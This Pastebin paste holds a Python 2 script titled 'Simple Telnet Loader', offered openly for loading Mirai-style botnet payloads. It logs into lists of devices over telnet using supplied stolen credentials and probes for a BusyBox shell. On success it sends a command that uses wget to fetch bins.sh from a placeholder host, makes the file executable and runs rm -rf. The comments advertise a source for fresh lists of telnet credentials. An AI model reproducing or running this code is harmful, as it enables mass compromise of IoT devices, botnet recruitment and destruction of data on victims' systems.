Advertisement
miraip0ts

Simple Telnet Loader

May 3rd, 2017
4,386
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/python
  2. # Telnet loader | have fun Yo! This Loads Mostly BuZy BoXeS regulr format/Mirai.
  3. # You Can Find Fresh TELNET List To Load @ http://godz56.tk/telnet-list/
  4. # Simple Telnet Loader Ya d1g?
  5.  
  6. import sys, re, os, socket, time
  7. from multiprocessing import Process
  8.  
  9. if len(sys.argv) < 2:
  10.     sys.exit("\033[37mUsage: python "+sys.argv[0]+" [list]")
  11.  
  12. cmd="cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://0.0.0.0/bins.sh; chmod 777 bins.sh; rm -rf *" #command to send
  13. info = open(str(sys.argv[1]),'a+')
  14.  
  15. def readUntil(tn, string, timeout=8):
  16.     buf = ''
  17.     start_time = time.time()
  18.     while time.time() - start_time < timeout:
  19.         buf += tn.recv(1024)
  20.         time.sleep(0.01)
  21.         if string in buf: return buf
  22.     raise Exception('TIMEOUT!')
  23.  
  24.  
  25. def infect(ip,username,password):
  26.     ip = str(ip).rstrip("\n")
  27.     username = username.rstrip("\n")
  28.     password = password.rstrip("\n")
  29.     try:
  30.         tn = socket.socket()
  31.         tn.settimeout(10)
  32.         tn.connect((ip,23))
  33.     except Exception:
  34.         tn.close()
  35.     try:
  36.         hoho = ''
  37.         hoho += readUntil(tn, "ogin")
  38.         if "ogin" in hoho:
  39.             tn.send(username + "\n")
  40.             time.sleep(0.09)
  41.     except Exception:
  42.         tn.close()
  43.     try:
  44.         hoho = ''
  45.         hoho += readUntil(tn, "assword:")
  46.         if "assword" in hoho:
  47.             tn.send(password + "\n")
  48.             time.sleep(0.8)
  49.         else:
  50.             pass
  51.     except Exception:
  52.         tn.close()
  53.     try:
  54.         prompt = ''
  55.         prompt += tn.recv(40960)
  56.         if ">" in prompt and "ONT" not in prompt:
  57.             try:
  58.                 success = False
  59.                 tn.send("cat | sh" + "\n")
  60.                 time.sleep(0.1)
  61.                 timeout = 8
  62.                 data = ["BusyBox", "Built-in"]
  63.                 tn.send("sh" + "\n")
  64.                 time.sleep(0.01)
  65.                 tn.send("busybox" + "\r\n")
  66.                 buf = ''
  67.                 start_time = time.time()
  68.                 while time.time() - start_time < timeout:
  69.                     buf += tn.recv(40960)
  70.                     time.sleep(0.01)
  71.                     for info in data:
  72.                         if info in buf and "unrecognized" not in buf:
  73.                             success = True
  74.                             break
  75.             except:
  76.                 pass
  77.         elif "#" in prompt or "$" in prompt or "%" in prompt or "@" in prompt:
  78.             try:
  79.                 success = False
  80.                 timeout = 8
  81.                 data = ["BusyBox", "Built-in"]
  82.                 tn.send("sh" + "\n")
  83.                 time.sleep(0.01)
  84.                 tn.send("shell" + "\n")
  85.                 time.sleep(0.01)
  86.                 tn.send("help" + "\n")
  87.                 time.sleep(0.01)
  88.                 tn.send("busybox" + "\r\n")
  89.                 buf = ''
  90.                 start_time = time.time()
  91.                 while time.time() - start_time < timeout:
  92.                     buf += tn.recv(40960)
  93.                     time.sleep(0.01)
  94.                     for info in data:
  95.                         if info in buf and "unrecognized" not in buf:
  96.                             success = True
  97.                             break
  98.             except:
  99.                 pass
  100.         else:
  101.             tn.close()
  102.         if success == True:
  103.             try:
  104.                 tn.send(cmd + "\n")
  105.                 print "\033[32m[\033[31m+\033[32m] \033[33mCommand Sent!\033[32m %s"%(ip)
  106.                 time.sleep(20)
  107.                 tn.close()
  108.             except:
  109.                 tn.close()
  110.         tn.close()
  111.     except Exception:
  112.         tn.close()
  113.  
  114. for x in info:
  115.     try:
  116.         if ":23 " in x:
  117.             x = x.replace(":23 ", ":")
  118.         xinfo = x.split(":")
  119.         session = Process(target=infect, args=(xinfo[0].rstrip("\n"),xinfo[1].rstrip("\n"),xinfo[2].rstrip("\n"),))
  120.         session.start()
  121.         ip=xinfo[0]
  122.         username=xinfo[1]
  123.         password=xinfo[2]
  124.         time.sleep(0.01)
  125.     except:
  126.         pass
  127. session.join()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement